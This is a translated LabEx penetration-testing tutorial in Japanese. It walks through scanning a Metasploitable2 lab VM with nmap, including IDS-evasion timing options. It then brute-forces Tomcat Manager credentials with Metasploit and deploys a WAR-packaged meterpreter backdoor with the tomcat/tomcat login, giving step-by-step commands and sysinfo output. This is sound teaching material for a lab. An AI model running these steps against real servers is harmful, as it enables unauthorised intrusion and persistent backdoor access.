Kali Linux で Nmap を使って Tomcat の脆弱性を悪用する

NmapNmapBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、Tomcat の脆弱性を悪用する原理と攻撃のプロセスについて学びます。攻撃プロセス中に、Kali Linux の使い方を学び、Kali に搭載されている攻撃フレームワークである Metasploit Framework (MSF) を理解します。この実験で攻撃対象となるターゲットマシンは Metasploitable2 で、LabEx が提供する Kali 環境をベースに行います。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/timing_performance("Timing and Performance") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/installation -.-> lab-416130{{"Kali Linux で Nmap を使って Tomcat の脆弱性を悪用する"}} nmap/port_scanning -.-> lab-416130{{"Kali Linux で Nmap を使って Tomcat の脆弱性を悪用する"}} nmap/target_specification -.-> lab-416130{{"Kali Linux で Nmap を使って Tomcat の脆弱性を悪用する"}} nmap/timing_performance -.-> lab-416130{{"Kali Linux で Nmap を使って Tomcat の脆弱性を悪用する"}} nmap/service_detection -.-> lab-416130{{"Kali Linux で Nmap を使って Tomcat の脆弱性を悪用する"}} end

ターゲットマシンのネットワーク脆弱性をスキャンする

典型的なペネトレーションテストでは、ターゲットマシンに対してさらなる攻撃を行う必要があります。まず最初に行うことは、ターゲットマシンに対してペネトレーションスキャンを実行することです。スキャンの過程で、マシンが提供しているサービスを発見し、入手した情報に基づいて脆弱性の有無を判断することができます。次に、潜在的な脆弱性を突いて攻撃を試み、最終的にターゲットマシンを乗っ取り、その脆弱性を取得します。

  1. LabEx ホストマシン上で xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 ターゲットを起動します。
sudo virsh start Metasploitable2

ターゲットマシンが起動するのを待ちます。起動には 1 - 3 分かかる場合があります。

  1. ターゲットマシンに対して ping を実行し、接続性をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

  1. Kali Linux コンテナを起動し、以下のコマンドを実行して bash 環境に入ります。
docker run -ti --network host b5b709a49cd5 bash
  1. Kali コンテナ内で、ターゲットマシンへのネットワーク接続をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

これで攻撃マシンとターゲットマシンの両方が起動しており、ペネトレーションテストを開始することができます。

  1. 次に、msfconsole を起動し、操作インターフェイスに入ります。
cd ~
msfconsole
  1. スキャンフェーズでは、Nmap は非常に便利なスキャンツールです。脆弱性スキャンの過程で、解析を通じて潜在的な脆弱性を分析し、攻撃を試みることができます。ここでは、以下のコマンドを使用してターゲットマシンに対してペネトレーションスキャンを実行します。
nmap -sV -T5 target

上記のコマンドで、-T はスキャン速度を設定します。

パラメータ 意味
nmap T0 非常に遅いスキャン、IDS (侵入検知システム) を回避するために使用
nmap T1 遅いスキャン、速度は 0 と 2 の間、一部の IDS を回避することもできます
nmap T2 スキャン速度を低下させる、通常は使用されません
nmap T3 デフォルトのスキャン速度
nmap T4 ターゲットをフラッドする可能性があり、ファイアウォールをトリガーする可能性が高い
nmap T5 非常に速いスキャン速度、精度を犠牲にして速度を優先

Ctrl+D を押して Metasploit コンソールを終了し、検査を開始します

Tomcat パスワードのブルートフォース攻撃

このステップでは、Tomcat の脆弱性を悪用して攻撃を開始します。auxiliary/scanner/http/tomcat_mgr_login モジュールを使用します。このモジュールは、特定のユーザー名とパスワードのセットを使って Tomcat Manager にログインを試みます。ログインに成功すると、結果を出力します。

攻撃モジュールのコード:

スキャン結果から、ポート 8180 が開いていることがわかります。このポートに対して攻撃を試みましょう。まず、MSF ターミナルで Tomcat モジュールを検索し、対応する脆弱性モジュールがあるか確認します。

  1. まず、Metasploit コンソールに入っていない場合は、Metasploit コンソールを起動します。
cd ~
msfconsole
  1. search を使って適切なモジュールを探します。
search tomcat
  1. use コマンドを使って適切なモジュールを選択します。
use auxiliary/scanner/http/tomcat_mgr_login
  1. 設定が必要なパラメータを表示します。
show options
  1. 次に、設定が必要な必須パラメータを確認し、set コマンドを使ってパラメータを設定します。
set RHOSTS 192.168.122.102
  1. ポート情報を設定します。
set RPORT 8180
  1. 次に、コマンドを使って攻撃を行い、パスワードのブルートフォース攻撃を実行します。
exploit

Ctrl+D を押して Metasploit コンソールを終了し、検査を開始します

Tomcat パスワードを使ったペネトレーション

対応するモジュールから Tomcat パスワードを取得した後、そのパスワードを使ってターゲットマシンに対してペネトレーションを行います。exploit/multi/http/tomcat_mgr_deploy モジュールを使用します。このモジュールは Tomcat Manager にログインし、ペイロードを実行します。このペイロードは PUT 操作を使って WAR パッケージをアップロードし、この WAR パッケージには meterpreter バックドアシェルを提供する JSP ファイルが含まれています。

攻撃モジュールのコード:

  1. まず、Metasploit コンソールに入っていない場合は、Metasploit コンソールを起動します。
cd ~
msfconsole
  1. 適切なモジュールを検索します。
search tomcat
  1. 次に、適切な攻撃モジュールを選択します。
use exploit/multi/http/tomcat_mgr_deploy
  1. show コマンドを使って必要なパラメータを表示します。
show options
  1. ターゲットホストのアドレスと攻撃するポートを設定します。
set rhost 192.168.122.102
  1. ポート情報を設定します。
set rport 8180
  1. httpusername アカウント名を設定します。
set httpusername tomcat
  1. httppassword パスワードを設定します。
set httppassword tomcat
  1. 次に、攻撃を実行します(これには約 1 分かかる場合があります)。
exploit
  1. よし、これでターゲットマシンに対するペネトレーションが完了しました。次に、ペネトレーションが成功したことを確認します。成功したコマンドラインターミナルで、以下のコマンドを入力します。
sysinfo

whoami を入力しないでください。ここで使用している meterpreter ペイロードは hostnameidwhoami などのコマンドをサポートしていないため、エラーが発生します。サポートされているコマンドを確認するには、help コマンドを使用できます。

以下のように、オペレーティングシステムの情報が表示されます。

Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux

Ctrl+D を押して Metasploit コンソールを終了し、検査を開始します

まとめ

この実験では、Tomcat の脆弱性の原理と攻撃のプロセスについて学びました。一般的に、ペネトレーションテストを行う前に、ターゲットマシンに関する情報を収集する必要があります。情報収集の過程で、脆弱性をよりよく発見し、ターゲットマシンを乗っ取ることができます。この実験を完了したら、以下の知識ポイントを習得しているはずです。

  • Tomcat 脆弱性の原理
  • Nmap スキャンの使い方
  • MSF 攻撃プロセス
  • 攻撃の成功を確認する方法